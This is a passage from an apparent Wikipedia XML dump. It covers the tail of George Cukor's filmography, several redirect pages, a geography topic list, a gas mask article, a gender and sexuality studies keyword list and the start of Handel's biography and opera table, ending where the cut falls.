*''[[Tarnished Lady]]'' (1931),
*''[[Girls About Town]]'' (1931),
*''[[A Bill of Divorcement]]'' (1932),
*''[[Rockabye]]'' (1932), 
*''[[What Price Hollywood?]]'' (1932),
*''[[One Hour with You]]'' (1932)
*''[[Dinner At Eight]]'' (1933), 
*''[[Our Betters]]'' (1933), 
*''[[Little Women (1933 film)|Little Women]]'' (1933),
*''[[Personal History, Adventures, Experience, and Observation of David Copperfield the Younger|David Copperfield]]'' (1935),
*''[[No More Ladies]]'', (1935),
*''[[Sylvia Scarlett]]'' (1935), 
*''[[Camille (film)|Camille]]'' (1936),
*''[[Romeo and Juliet (1936 film)|Romeo and Juliet]]'' (1936), 
*''[[Holiday (movie)|Holiday]]'' (1938),
*''[[Zaza (1939 film)|Zaza]]'' (1939),
*''[[Gone with the Wind (film)|Gone with the Wind]]'' (started, replaced by Victor Fleming and Sam Wood) (1939),
*''[[The Women]]'' (1939), 
*''[[The Philadelphia Story]]'' (1940),
*''[[Susan and God]]'' (1940),
*''[[Two-Faced Woman]]'' (1941), 
*''[[A Woman's Face]]'' (1941), 
*''[[Her Cardboard Lover]]'' (1942),
*''[[Keeper of the Flame (film)|Keeper of the Flame]]'' (1942), 
*''[[Gaslight (1944 film)|Gaslight]]'' (1944),
*''[[Winged Victory (film)|Winged Victory]]'' (1944),
*''[[A Double Life]]'' (1947),
*''[[Edward, My Son]]'' (1949), 
*''[[Adam's Rib]]'' (1949),
*''[[Born Yesterday]]'' (1950),
*''[[A Life of Her Own]]'' (1950),
*''[[The Model and the Marriage Broker]]'' (1951),
*''[[The Marrying Kind]]'' (1952),
*''[[Pat and Mike]]'' (1952),
*''[[The Actress]]'' (1953),
*''[[A Star Is Born (1954 film)|A Star Is Born]]'' (1954),
*''[[It Should Happen to You]]'' (1954),
*''[[Bhowani Junction]]'' (1956),
*''[[Les Girls]]'' (1957),
*''[[Wild Is the Wind]]'' (1957),
*''[[Heller in Pink Tights]]'' (1960),
*''[[Let's Make Love]]'' (1960),
*''[[The Chapman Report]]'' (1962),
*''[[My Fair Lady]]'' (1964),
*''[[Justine]]'' (1969),
*''[[Travels With My Aunt]]'' (1972), 
*''[[The Blue Bird (film)|The Blue Bird]]'' (1976),
*''[[Rich and Famous (film)|Rich and Famous]]'' (1981).

==External links==
*{{imdb name|id=0002030|name=George Cukor}}
*[http://www.sensesofcinema.com/contents/directors/04/cukor.html Senses of Cinema: Great Directors Critical Database]

==Bibliographies==
*[http://www.lib.berkeley.edu/MRC/cukor.html George Cukor Bibliography (via UC Berkeley)]

==References==
Wakeman, John. ''World Film Directors''. New York: H.W. Wilson Company, 1987. ISBN 0-8242-0757-2

Hillstrom, Laurie Collier. ''International Dictionary of Films and Filmmakers''. Detroit: St. James Press, 1997. ISBN 1-55862-302-7

Katz, Ephraim. ''The Film Encyclopedia''. New York: HarperCollins, 2001. ISBN 0-06-273755-4

[[Category:1899 births|Cukor, George]]
[[Category:1983 deaths|Cukor, George]]
[[Category:American film directors|Cukor, George]]
[[Category:Best Director Oscar|Cukor, George]]
[[Category:Hollywood Walk of Fame|Cukor, George]]
[[Category:Jewish American directors|Cukor, George]]
[[Category:Lesbian, gay, bisexual, or transgender people|Cukor, George]]
[[Category:People from New York City|Cukor, George]]

[[da:George Cukor]]
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    <title>GNU Free Documentation License/Secondary sections</title>
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      <id>15910422</id>
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      <contributor>
        <username>Angela</username>
        <id>8551</id>
      </contributor>
      <minor />
      <comment>#redirect [[GNU Free Documentation License]]</comment>
      <text xml:space="preserve">#redirect [[GNU Free Documentation License]]</text>
    </revision>
  </page>
  <page>
    <title>GNU Free Documentation License/Secondary Sections</title>
    <id>12760</id>
    <revision>
      <id>15910423</id>
      <timestamp>2004-06-22T09:34:54Z</timestamp>
      <contributor>
        <username>Angela</username>
        <id>8551</id>
      </contributor>
      <minor />
      <comment>fix broken redirect</comment>
      <text xml:space="preserve">#REDIRECT [[GNU Free Documentation License]]</text>
    </revision>
  </page>
  <page>
    <title>GNU Free Documentation License/Front-Cover Texts</title>
    <id>12763</id>
    <revision>
      <id>15910424</id>
      <timestamp>2003-11-08T02:12:26Z</timestamp>
      <contributor>
        <username>Angela</username>
        <id>8551</id>
      </contributor>
      <minor />
      <comment>#redirect [[GNU Free Documentation License]]</comment>
      <text xml:space="preserve">#redirect [[GNU Free Documentation License]]</text>
    </revision>
  </page>
  <page>
    <title>GNU Free Documentation License/Summary of list discussion</title>
    <id>12766</id>
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      <id>40654830</id>
      <timestamp>2006-02-22T02:24:56Z</timestamp>
      <contributor>
        <username>CesarB</username>
        <id>7410</id>
      </contributor>
      <minor />
      <comment>change to {{softredirect}}</comment>
      <text xml:space="preserve">{{softredirect|meta:Copyright discussion}}</text>
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  </page>
  <page>
    <title>Golgi Apparatus</title>
    <id>12768</id>
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      <id>31543947</id>
      <timestamp>2005-12-16T00:24:32Z</timestamp>
      <contributor>
        <username>Steinsky</username>
        <id>15865</id>
      </contributor>
      <minor />
      <comment>fix redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Golgi apparatus]]</text>
    </revision>
  </page>
  <page>
    <title>List of basic geographical topics</title>
    <id>12770</id>
    <revision>
      <id>33492624</id>
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      <contributor>
        <username>TechPurism</username>
        <id>691943</id>
      </contributor>
      <minor />
      <text xml:space="preserve">Below is a list of basic topics in '''[[geography]]''' -- topics which will help the beginner become familiar with the field of geography.  For a comprehensive list, see [[List of geographical topics]].

:''This list is incomplete; you can help by expanding it.''

The Continents:
* [[Africa]]
* [[Antarctica]]
* [[Australia]]
* [[Eurasia]]
* [[North America]]
* [[South America]]

Basic geographical concepts:

* [[Cartography]]
* [[Climate]]
* [[Continent]]
* [[Country]]
* [[Demographics]]
* [[Geography]]
* [[Great Plains]]
* [[Grassland]]
* [[Island]]
* [[Lake]]
* [[Map]]
* [[Mountain]]
* [[Mountain range]]
* [[Plain]]
* [[Nation]]
* [[Ocean]]
* [[Peninsula]]
* [[Population density]]
* [[Population explosion]]
* [[River]]
* [[Sea]]
* [[Stream]]</text>
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  <page>
    <title>Wikipedia:Game basic topics</title>
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      <timestamp>2003-05-05T14:40:21Z</timestamp>
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        <username>Patrick</username>
        <id>4388</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Game]]</text>
    </revision>
  </page>
  <page>
    <title>Gas mask</title>
    <id>12772</id>
    <revision>
      <id>41729473</id>
      <timestamp>2006-03-01T09:39:40Z</timestamp>
      <contributor>
        <username>Marskell</username>
        <id>194262</id>
      </contributor>
      <comment>some fixes</comment>
      <text xml:space="preserve">{| align=right
|[[Image:Belgian made Finnish civil defence L.702 mask.jpg|thumb|250px|right|Belgian 1930's era L.702 model civilian mask]]
|---
|{{headgear}} &lt;!--- for more information see [[Wikipedia:WikiProject Hats and Headgear]]; to edit this table, go to [[Template:Headgear]] ---&gt;
|}

A '''gas mask''', also known as a respirator, is a [[mask]] worn on the face to protect the body from airborne [[pollutant]]s and [[toxic]] materials.  The mask forms a sealed cover over the nose and mouth, but may also cover the eyes and other vulnerable soft tissues of the face. 

Airborne toxic materials may be gaseous (for example the [[chlorine]] used in [[WWI]]) or particulate (such as many [[biological warfare|biological agents]] developed for weapons such as bacteria, viruses and [[toxins]]).  Many gas masks include protection from both types.  Unlike other breathing devices, gas masks do not require the user to carry an air supply as in the use of [[scuba diving|scuba gear]]. However, this means that the wearer depends on the air in the atmosphere, the same medium of the toxic materials. Thus, the mask must remove them and relay clean air to the wearer.

There are three main ways of achieving this: ''filtration'', ''absorption and adsorption'', and ''reaction and exchange''.

=== Filtration === 
A [[Filter (chemistry)|filter]] works by having holes that are smaller than the particles to be removed.  Since many pollutant molecules and particles are larger than oxygen and nitrogen molecules, this works for many applications. Filtration thus lends itself to defense against particulate hazards.
[[Image:US_Navy_gas_mask_excerise_021015-N-6996M-589.jpg|thumb|left|250px|Gas-masked [[US Navy]] member in a [[Multiple Integrated Laser Engagement System|MILES]] combat exercise]]
However, the smaller the gap through which the air has to pass, the greater the pressure the wearer's lungs must exert to draw the air through, hereby limiting the porosity of these passages.  Thus to extract many toxic gases, masks use other methods.

== Absorption and adsorption ==
[[Absorption]] is the process of being drawn into a (usually larger) body, or substrate, and [[adsorption]] is the process of deposition upon a surface. This can be used to remove both particulate and gaseous hazards.  Although some form of [[chemical reaction|reaction]] may take place, it is not necessary; the method may work by attractive [[electric charge|charges]] (for example, if the target particles are positively charged, use a negatively charged substrate). Examples of substrates include [[activated carbon]], and [[zeolite]]s. This effect can be very simple and highly effective, for example using a damp cloth to cover the mouth and nose whilst escaping a fire. Most of the harmful vapours and [[smoke]] will be dissolved in the [[water]] on the cloth, giving you vital extra seconds to escape.

== Reaction and exchange ==
[[Image:Gas mask 501556 fh000007.jpg|thumb|Gas mask used by the [[Military of France|French military]]]]
This principle relies upon the fact that substances that can do harm to humans are usually more reactive than air. This method of separation will use some form of generally reactive substance (for example an [[acid]]) coating or supported by some solid material. An excellent example is [[resin]]s. These can be created with different groups of [[atom]]s (usually called functional groups) that exhibit different properties. Thus a resin can be tailored to a particular toxic group. When the reactive substance comes in contact with the resin, it will bond to it, removing it from the air stream. It may also exchange with a more harmless substance at this site.

There are two main difficulties with gas-mask design:

*The user may be exposed to many different types of toxic material. Military personel are especially prone to being exposed to a diverse range of toxic gases. However if the mask is for a particular use (such as the protection from a specific toxic material in a factory), then the design can be much simpler and the cost lower.

*The protection will wear off over time. Filters will clog up, substrates for absorption will fill up, and reactive filters will run out of reactive substance. This means that the user only has protection for so long, and then they must either replace the filter device in the mask, or use a new mask.

== History and development of the gas mask ==
Contrary to some modern day opinion, there is no single inventor of the &quot;gas mask&quot;.  In fact, there were [[patent]]s for such devices as early as [[1887]]. A first gas mask to be used by miners was introduced by [[Alexander von Humboldt]] already in [[1799]], when he worked as a mining engineer in Prussia. [[Image:Humboldt_gasmask_1799_copy.jpg|thumb|right|250px|Early gas mask designed by A. von Humboldt in 1799 for underground mining]]

In the early days of World War I, the Canadian Army made field expedient gas masks to protect themselves from the deadly chlorine gas used by the Germans by urinating on rags and holding them to their faces.

One such design began as a &quot;Safety Hood and Smoke Protector&quot; invented by [[African American]] inventor, [[Garrett A. Morgan]] in [[1912]], and patented in [[1914]].  It was a simple device, consisting of a cotton hood with two hoses which hung down to the floor, allowing the wearer to breathe the safer air found there. Morgan won acclaim for his device when in [[1916]] he, his brother, and two other volunteers used his device to rescue numerous men from the gas and smoke-filled tunnels beneath [[Lake Erie]] in the [[Cleveland Waterworks]].

Dr. Cluny MacPherson of [[The Royal Newfoundland Regiment]], while serving in [[Gallipoli]]
in [[1915]], where he acted as an advisor on poisonous gas, used a helmet taken from a captured prisoner to fashion a canvas hood with transparent eyepieces that was treated with chlorine-absorbing chemicals.

Gas masks development since has mirrored the development of chemical agents in warfare, filling the need to protect against ever more deadly threats, biological weapons, and radioactive dust in the nuclear era. However, where agents that cause harm through contact or penetration of the skin occurs, such as [[blister agent]] or [[nerve agent]], a gas mask alone is not sufficient protection, and full protective clothing must be worn in addition, to protect contact from the atmosphere. For reasons of civil defense and personal protection, individuals often purchase gas masks in the belief that they prevent against the harmful effects of an attack with nuclear, biological, or chemical (NBC) agents; this is not the case, as gas masks protect only against respiratory absorption. Whilst most military gas masks are designed to be capable of protection against spectrum of NBC agents, they can be coupled with filter canisters that are proof against those agents (heavier) or just against [[riot control agents]] and smoke (lighter, and often used for training purposes); likewise there are lightweight masks solely for use in riot control agents and not for NBC situations. 

Although thorough training and the availability of gas masks and other protective equipment can render the casualty-causing effects of an attack by chemical agents nullified, troops who are forced to operate in full protective gear are less efficient in completing their given tasks, tire easily, and may be affected psychologically by the threat of attack by these weapons. During the [[Cold War]] era, it was seen as inevitable that there would be a constant NBC threat on the battlefield, and thus troops needed protection in which they could remain fully functional; thus protective gear, and especially gas masks have evolved to incorporate welcomed innovations in terms of increasing user-comfort, and in compatibility with other equipment (from drinking devices to artificial respiration tubes, to communications systems etc). The gas mask has thus now arrived at a 'fourth generation' of development.

== Sexual fetish ==
Some people [[sexual fetishism|fetishize]] gas masks.  This may be because of childhood [[behavioral imprinting]] when these devices were issued in [[World War I]]. However, this does not explain those who share this fetish who were not children during World War I. One possibility is that gas masks are for them part of a wider [[rubber fetishism]], or that the dehumanized appearance of a person wearing a gas mask leads to [[erotic objectification]] fantasies.

The movie [[Gods and Monsters]] featured a scene of gas mask fetishism possibly implying, within the fictionalised events, a relationship between director [[James Whale]]'s sexuality and trauma experienced in [[World War I]].  The scene is in the movie is because the director liked the photo that was popular at the time of a naked man wearing only a gas mask.

[[Rubberist]]s like to wear gas masks because they are made of soft latex rubber and also because they are strapped onto the face.  Gas mask [[sexual fetish]] is often combined with the use of other sexual [[latex]] devices, such as latex suits, rubber gloves and boots.

==Gas masks in popular culture==
Although their purpose was to  protect the population in WWII, gas masks also have a sinister, faceless image. The [[1940s]] comic book hero [[The Sandman (DC Comics Golden Age)|the Sandman]] wore a gas mask as part of his first costume, in part to protect himself from the sleeping gas he used on criminals, but also to inspire fear in them as well.

Sid Wilson, DJ for the band [[Slipknot (band)|Slipknot]] (which comprises nine masked members) is known to be a collector of gas masks, and wears a variety of different types on stage.  The Canadian indie rock group [[Broken Social Scene]] also utilized a gas mask in their video for &quot;Cause=Time&quot;. Another well-known musician who has used a gas mask as an instrument is vocalist [[Mike Patton]], who sings through the mask for an eery muffled effect. Although Patton is the most prolific wearer of gas masks amongst bands, numerous others have worn them for publicity shots etc, and Jason Miller, singer for [[Godhead (band)|Godhead]], uses an Israeli civilian type to filter his voice.

The norwegian ompa/gypsy-rock band [[Kaizers Orchestra]] are famous for using unique objects on stage, including oil barrels, crowbars and miscellaneous objects to with which to create sounds, and a [[World War I]] norwegian model gasmask.

The unsettling appearance of the gas mask was also featured in the [[2005]] ''[[Doctor Who]]'' episodes ''[[The Empty Child]]'' and ''[[The Doctor Dances]]'', in which an [[extraterrestrial life in culture|alien]] infestation of wrongly-programmed &quot;[[nanorobot|nanogenes]]&quot; in [[1941]] [[London]] transformed people by turning them into gas-masked [[zombie]]s.

In the video game [[Metal Gear Solid]], a boss called [[Psycho Mantis]] wears a gas mask.

During the end of the first episode of [[Martin Mystery]], Diana Lombard wears a respirator while massaging Java's smelly foot.

The 2004 film ''[[Dead Man's Shoes]]''  by british director [[Shane Meadows]], portrays Paddy Considine's character &quot;Richard&quot; in a gas mask, A semi-psychotic ex-soldier who goes out to seek revenge for his brothers forced suicide.

In the [[dystopia|dystopian]] novel [[The Sheep Look Up]] by John Brunner, the toxicated air makes it necessary for people to wear gas masks.

==External links==
{{Commons|Gas mask}}
*[http://www.gasmasks.net/ Le Masque &amp;agrave; Gaz] International historical gas mask gallery, with collection of safety and propaganda posters.
[[category:safety]]
[[Category:Masks]]

&lt;!--Interlanguage links--&gt;

[[de:Gasmaske]]
[[fr:Masque à gaz]]
[[nl:Gasmasker]]
[[ja:ガスマスク]]
[[pt:Máscara contra gases]]
[[ru:Противогаз]]
[[fi:Kaasunaamari]]
[[sv:Gasmask]]
[[zh:防毒面具]]</text>
    </revision>
  </page>
  <page>
    <title>Gender and sexuality studies</title>
    <id>12773</id>
    <revision>
      <id>22857219</id>
      <timestamp>2005-09-08T18:51:33Z</timestamp>
      <contributor>
        <username>Sherool</username>
        <id>260314</id>
      </contributor>
      <minor />
      <comment>fixed link to bypas redirect</comment>
      <text xml:space="preserve">'''Gender and sexuality studies''' is a collective term for the [[interdisciplinary]] study of [[human]] [[gender]] and [[sexuality]]. It includes such fields as [[Women's Studies]], [[Lesbian and Gay Studies]], and [[Gender Studies]]. Some scholars in those fields reject this term.

Some basic topics/key words in gender and sexuality studies to get started: (note that some of these may not have that much to do with G&amp;SS itself, but rather with the subjects studied in G&amp;SS)


*[[abortion]] 
*[[AIDS]]
*[[bisexuality]]
*[[BDSM]]
*[[erotophobia]]
*[[Susan Faludi]]
*[[List of gay, lesbian or bisexual people]]
*[[feminism]] 
*[[gay]]
*[[queer]]
**[[List of gay-related topics|gay topics]]
*[[Gay Games]] 
*[[gay pride]]
*[[gay rights]]
*[[gay rights movement]]
*[[gender-blind]] 
*[[gender gap]]
*[[Gender identity|gender identity]]
*[[gender role]]
*[[genital modification and mutilation]]
*[[heterosexuality]]
*[[heterosexism]]
*[[history of homosexuality]] 
*[[homosexuality]] 
*[[International Lesbian and Gay Association]] 
*[[International Gay and Lesbian Human Rights Commission]]
*[[intersexual]]
*[[Kinsey scale]]
*[[legal aspects of transsexualism]]
*[[lesbian]]
*[[marriage]]
*[[masculism]]
*[[metrosexual]]
*[[nullification]]
*[[Camile Paglia]] 
*[[paraphilia]]
**[[pedophilia]]
*[[pederasty]]
*[[pomosexual]]
*[[pornography]] 
*[[James W. Prescott]] 
*[[prostitution]]
*[[queer studies]], [[queer theory]], [[queer]]
*[[Queer community]]
*[[Queer culture]]
*[[Re Kevin - validity of marriage of transsexual]]
*[[religion and homosexuality]], 
*[[sex]], [[sexual behaviors]], [[sexuality]] 
*[[sex-positive]]
*[[sex in advertising]]
*[[sex in science fiction]]
*[[sodomy]]
*[[skoptic syndrome]]
*[[Gloria Steinem]]
*[[Stonewall riots]]
*[[Sydney Gay and Lesbian Mardi Gras]]
*[[Third-World Feminism]]
*[[Transgender]] 
*[[why gender/gender construction]]
**[[List of transgender-related topics]]

[[Slang]] terms for keyword searches: [[Butch and Femme|butch, femme]], [[drag queen]], faggot, [[Dyke (lesbian)|dyke]], trannie.

==External links==
http://www.qrd.org/

[[Category:Sociology]]
[[Category:Sexology]]</text>
    </revision>
  </page>
  <page>
    <title>George Frideric Handel</title>
    <id>12775</id>
    <revision>
      <id>41814987</id>
      <timestamp>2006-03-01T22:51:39Z</timestamp>
      <contributor>
        <username>Makemi</username>
        <id>675573</id>
      </contributor>
      <minor />
      <comment>remove old vandalism</comment>
      <text xml:space="preserve">[[Image:Haendel.jpg|thumb|210px|George Frideric Handel, 1733]]
'''George Frideric Handel''' (or '''Georg Friedrich Händel''' in [[German language|German]]) ([[February 23]], [[1685]] &amp;ndash; [[April 14]], [[1759]]) was a [[Germany|German]] [[Baroque music|Baroque]] [[composer]] who was a leading composer of [[concerti grossi]], [[opera]]s and [[oratorio]]s.  He lived most of his life in [[Great Britain]].  His most famous piece is ''[[Messiah (Handel)|Messiah]]'', an oratorio set to texts from the [[King James Bible]]; other well-known works are ''[[Water Music (Handel)|Water Music]]'' and ''[[Music for the Royal Fireworks]]''. He deeply influenced many of the composers who came after him, including [[Joseph Haydn|Haydn]], [[Wolfgang Amadeus Mozart|Mozart]], and [[Ludwig van Beethoven|Beethoven]] and his  sense of delicate balance and refined musical expression helped lead the transition from the Baroque to the Classical era.

==Biography==

Handel was born at [[Halle, Saxony-Anhalt|Halle]] in [[Saxony]] in 1685, coincidentally in the same year that both [[Johann Sebastian Bach]] and [[Domenico Scarlatti]] were born. He displayed considerable musical talent at an early age, by the age of seven he was a skilful performer on the [[harpsichord]] and [[organ (music)|organ]], and at nine he began to compose music. However his father, a barber-surgeon to the court of Saxe-Weissenfels, opposed George Frideric pursuing a musical career, preferring him to study law.  Nevertheless, the young Handel was permitted to take lessons in musical composition and keyboard techniques from Friedrich Wilhelm Zachau, the organist of Liebfrauenkirche, Halle.

[[image:Handel_as_a_Boy.jpg|left|thumb|Handel as a boy]]
In [[1702]], in obedience to his father's wishes, he began the study of [[law]] at the [[University of Halle]], but after his father's death the following year, he abandoned law for music, becoming the organist at the Calvinist Cathedral.  The following year he moved to Hamburg, accepting a position as [[violinist]] in the orchestra of the opera-house at [[Hamburg]]. Here his first two [[opera]]s, ''[[Almira]]'' and ''[[Nero]]'', were produced early in [[1705]]. Two other early operas, ''[[Daphne]]'' and ''[[Florindo]]'', were produced at Hamburg in [[1708]]. During the years [[1707]]-[[1709]] Handel traveled and studied in [[Italy]].  When opera was banned by local authorities, Handel found work as a composer of sacred music and wrote some pieces in operatic style. The famous ''Dixit Dominus'' (1707) is from this era. His ''[[Rodrigo (opera)|Rodrigo]]'' was produced at [[Florence]] in 1707, and his ''[[Agrippina (opera)|Agrippina]]'' at [[Venice]] in [[1708]]. Two [[oratorio]]s, ''[[La Resurrezione]]'' and ''Il Trionfo del Tempo'', were produced at [[Rome]] in 1709 and [[1710]], respectively. 

In 1710 Handel became ''[[Kapellmeister]]'' to George, Elector of [[Hanover]], who would soon be [[George I of Great Britain]]. He visited [[London]] in 1710 and settled there permanently in 1712, receiving a yearly income of £200 from [[Anne of Great Britain|Queen Anne]]. In [[1726]] Handel's opera ''[[Scipio (opera)|Scipio]]'' (Scipione) was performed for the first time, the [[March (music)|march]] from which remains the regimental slow march of the British [[Grenadier Guards]]. He was naturalised a British subject in the same year.

In [[1727]] Handel was commissioned to write four anthems for the coronation ceremony of [[George II of Great Britain|King George II]]. One of these, ''[[Zadok the Priest]]'', has been played at every coronation ceremony since. Handel was director of the [[Royal Academy of Music (opera)|Royal Academy of Music]] 1720-1728, and a partner of [[J. J. Heidegger]] in the management of the [[King's Theatre]] 1729-1734. Handel also had a long association with the [[Royal Opera House]] at [[Covent Garden]], where many of his Italian operas were premiered. Handel gave up operatic management entirely in [[1740]], after he had lost a fortune in the business. In [[1751]] he became blind, and died some eight years later in [[London]]. He was buried in [[Westminster Abbey]].

He never married.  His personal life was very private.
&lt;h2 style=&quot;clear: left;&quot;&gt;Works&lt;/h2&gt;

[[Image:Georg_Friedrich_Haendel.jpg|thumb|210px|George Frideric Handel]] Handel's compositions include some fifty operas, twenty-three oratorios, and a large amount of church music, not to speak of his superb instrumental pieces, such as the [[organ concerto|organ concerti]], the Opus 6 [[Concerti Grossi]], the ''[[Water_Music_(Handel)|Water Music]]'', and the ''[[Fireworks Music]]''. 

After his death, Handel's Italian operas fell into obscurity, save the odd fragment, such as the ubiquitous aria from ''[[Serse]]'', &quot;[[Ombra mai fu]]&quot;; his reputation throughout the 19th century and first half of the 20th century, particularly in the anglophone countries, rested primarily on his English oratorios, which were customarily performed by enormous choruses of amateur singers on solemn occasions. These include ''[[Esther (oratorio)|Esther]]'' ([[1720]]); ''[[Saul (oratorio)|Saul]]'' ([[1739]]); ''[[Israel in Egypt (oratorio)|Israel in Egypt]]'' ([[1739]]); [[Messiah (Handel)|''Messiah'']] (1742); ''[[Samson (oratorio)|Samson]]'' (1743); ''[[Judas Maccabaeus (oratorio)|Judas Maccabaeus]]'' ([[1747]]); ''[[King Solomon|Solomon]]'' (1748), and ''[[Jephtha (oratorio)|Jephtha]]'' ([[1752]]). 

Since the [[1960s]], with the revival of interest in baroque music and [[Authentic_performance|original instrument]] playing styles, interest has revived in Handel's Italian operas, and many have been recorded and performed onstage. Of the fifty he wrote between [[1705]] and [[1738]], ''[[Alcina]]'' (1735), ''[[Ariodante]]'' (1735), ''[[Orlando (opera)|Orlando]]'' ([[1733]]), ''[[Rinaldo (opera)|Rinaldo]]'' (1711, 1731), ''[[Rodelinda]]'' ([[1725]]), and ''Serse'' (also known as ''Xerxes'') ([[1738]]) stand out and are now performed regularly in opera houses and concert halls. Arguably the finest, however, is ''[[Giulio Cesare]]'' (1724) which, thanks to its superb orchestral and vocal writing, has entered the mainstream opera repertoire. 

Also revived in recent years are a number of secular [[cantata]]s and what one might call ''secular oratorios'' or ''concert operas'', Of the former, ''[[Ode for St. Cecilia's Day]]'' ([[1739]]) (set to texts of [[John Dryden]]) and ''[[Ode for the Birthday of Queen Anne]]'' (1713) are particularly noteworthy. For his secular oratorios, Handel turned to classical mythology for subjects, producing such works as ''Acis and Galatea'' ([[1719]]) ''[[Hercules (oratorio)|Hercules]]'' ([[1745]]), and ''[[Semele (oratorio)|Semele]]'' (1744). In terms of musical style, particularly in the vocal writing for the English-language texts, these works have close kinship with the above-mentioned sacred oratorios, but they also share something of the lyrical and dramatic qualities of Handel's Italian operas. As such, they are sometimes performed onstage by small chamber ensembles.
With the rediscovery of his theatrical works, Handel, in addition to his renown as instrumentalist, orchestral writer, and melodist, is now perceived as being one of opera's great musical dramatists.

[[Image:London Handel House.jpg|thumb|left|Handel House at 25 Brook Street, London]]
Handel adopted the spelling &quot;George Frideric Handel&quot; on his naturalization as a British citizen. His name is spelled &quot;Händel&quot; in Germany and elsewhere, and &quot;Haendel&quot; in France, which causes no small grief to cataloguers everywhere. There was another composer with a similar name, Handl, who was a [[Slovenian]] (without [[umlaut]]; so not Händel). He was usually known as [[Jacobus Gallus]].

Handel's works were edited by [[S. Arnold]] (40 vols., London, [[1786]]), and by [[F. Chrysander]], for the German [[Händel-Gesellschaft]] (100 vols., Leipzig, [[1859]]-[[1894]]).

Handel lived at 25 [[Brook Street]], [[London]] from [[1723]] until his death in [[1759]]. It was here that he composed [[Messiah (Handel)|''Messiah'']], ''[[Zadok the Priest]]'', and ''Fireworks Music''.  In [[2000]] the upper stories of 25 Brook Street were leased to the [[Handel House Trust]], and, after an extensive restoration program, the [[Handel House Museum]] opened to the public on [[8 November]] [[2001]]. 

{{Schaff-Herzog}}

&lt;h2 style=&quot;clear: left;&quot;&gt;List of works&lt;/h2&gt;

===Operas===

{| class=&quot;wikitable&quot; border=&quot;1&quot; 
!bgcolor=ececec|HWV
!bgcolor=ececec|Title
!bgcolor=ececec|Premiere
!bgcolor=ececec|Venue
!bgcolor=ececec|Notes
|-
|1
|[[Almira (Handel)|Almira]]
|align=&quot;right&quot;|[[8 January]] [[1705]]
|[[Hamburgische Staatsoper|Theater am Gänsemarkt]], [[Hamburg]]
|
|-
|2
|Nero
|align=&quot;right&quot;|[[25 February]] [[1705]]
|[[Hamburgische Staatsoper|Theater am Gänsemarkt]], [[Hamburg]]
|Music lost
|-
|3
|Florindo
|align=&quot;right&quot;|[[1708]]
|[[Hamburgische Staatsoper|Theater am Gänsemarkt]], [[Hamburg]]
|Music lost
|-
|4
|Daphne
|align=&quot;right&quot;|[[1708]]
|[[Hamburgische Staatsoper|Theater am Gänsemarkt]], [[Hamburg]]
|Music lost
|-
|5
|[[Rodrigo (Handel)|Rodrigo]]
|align=&quot;right&quot;|[[1707]]
|[[Florence]]
|
|-
|6
|[[Agrippina (Handel)|Agrippina]]
|align=&quot;right&quot;|Late [[1709]]/Early [[1710]]
|Teatro San Giovanni Grisostomo, [[Venice]]
|
|-
|7a/b
|[[Rinaldo]]
|align=&quot;right&quot;|[[24 February]] [[1711]]
|[[Her Majesty's Theatre|Queen's Theatre]], [[London]]
|
|-
|8a/b/c
|[[Il pastor fido]]
|align=&quot;right&quot;|[[22 November]] [[1712]]
|[[Her Majesty's Theatre|Queen's Theatre]], [[London]]
|
|-
|9
|[[Teseo]]
|align=&quot;right&quot;|[[10 January]] [[1713]]
|[[Her Majesty's Theatre|Queen's Theatre]], [[London]]
|
|-
|10
|Lucio Cornelio Silla
|align=&quot;right&quot;|June [[1713]]?
|[[London]]?
|Music reused in ''Amadigi''
|-
|11
|[[Amadigi]]
|align=&quot;right&quot;|[[25 May]] [[1715]]
|[[Her Majesty's Theatre|King's Theatre]], [[London]]
|
|-
|12a/b
|[[Radamisto]]
|align=&quot;right&quot;|[[27 April]] [[1720]]
|[[Her Majesty's Theatre|King's Theatre]], [[London]]
|
|-
|13
|[[Muzio Scevola]]
|align=&quot;right&quot;|[[15 April]] [[1721]]
|[[Her Majesty's Theatre|King's Theatre]], [[London]]
|only Act 3 by Handel
|-
|14
|[[Floridante]]
|align=&quot;right&quot;|[[9 December]] [[1721]]
|[[Her Majesty's Theatre|King's Theatre]], [[London]]
|
|-
|15
|[[Ottone]]
|align=&quot;right&quot;|[[12 January]] [[1723]]
|[[Her Majesty's Theatre|King's Theatre]], [[London]]
|
|-
|16
|[[Flavio (Handel)|Flavio]]
|align=&quot;right&quot;|[[14 May]] [[1723]]
|[[Her Majesty's Theatre|King's Theatre]], [[London]]
|
|-
|17
|[[Giulio Cesare]]
|align=&quot;right&quot;|[[20 February]] [[1724]]
|[[Her Majesty's Theatre|King's Theatre]], [[London]]
|
|-
|18
|[[Tamerlano]]
|align=&quot;right&quot;|[[31 October]] [[1724]]
|[[Her Majesty's Theatre|King's Theatre]], [[London]]
|
|-
|19
|[[Rodelinda]]
|align=&quot;right&quot;|[[13 February]] [[1725]]
|[[Her Majesty's Theatre|King's Theatre]], [[London]]
|
|-
|20
|[[Scipione]]
|align=&quot;right&quot;|[[12 March]] [[1726]]
|[[Her Majesty's Theatre|King's Theatre]], [[London]]
|
|-
|21
|[[Alessandro (Handel)|Alessandro]]
|align=&quot;right&quot;|[[5 May]] [[1726]]
|[[Her Majesty's Theatre|King's Theatre]], [[London]]
|
|-
|22
|[[Admeto]]
|align=&quot;right&quot;|[[31 January]] [[1727]]
|[[Her Majesty's Theatre|King's Theatre]], [[London]]
|
|-
|23
|[[Riccardo Primo]]
|align=&quot;right&quot;|[[11 November]] [[1727]]
|[[Her Majesty's Theatre|King's Theatre]], [[London]]
|
|-
|24
|[[Siroe]]
|align=&quot;right&quot;|[[17 February]] [[1728]]
|[[Her Majesty's Theatre|King's Theatre]], [[London]]
|
|-
|25
|[[Tolomeo]]
|align=&quot;right&quot;|[[30 April]] [[1728]]
|[[Her Majesty's Theatre|King's Theatre]], [[London]]
|
|-
|26
|[[Lotario]]
|align=&quot;right&quot;|[[2 December]] [[1729]]
|[[Her Majesty's Theatre|King's Theatre]], [[London]]
|
|-
|27
|[[Partenope]]
|align=&quot;right&quot;|[[24 February]] [[1730]]
|[[Her Majesty's Theatre|King's Theatre]], [[London]]
|
|-
|28
|[[Poro]]
|align=&quot;right&quot;|[[2 February]] [[1731]]
|[[Her Majesty's Theatre|King's Theatre]], [[London]]
|
|-
|29
|[[Ezio]]
|align=&quot;right&quot;|[[15 January]] [[1732]]
|[[Her Majesty's Theatre|King's Theatre]], [[London]]
|
|-
|30
|[[Sosarme]]
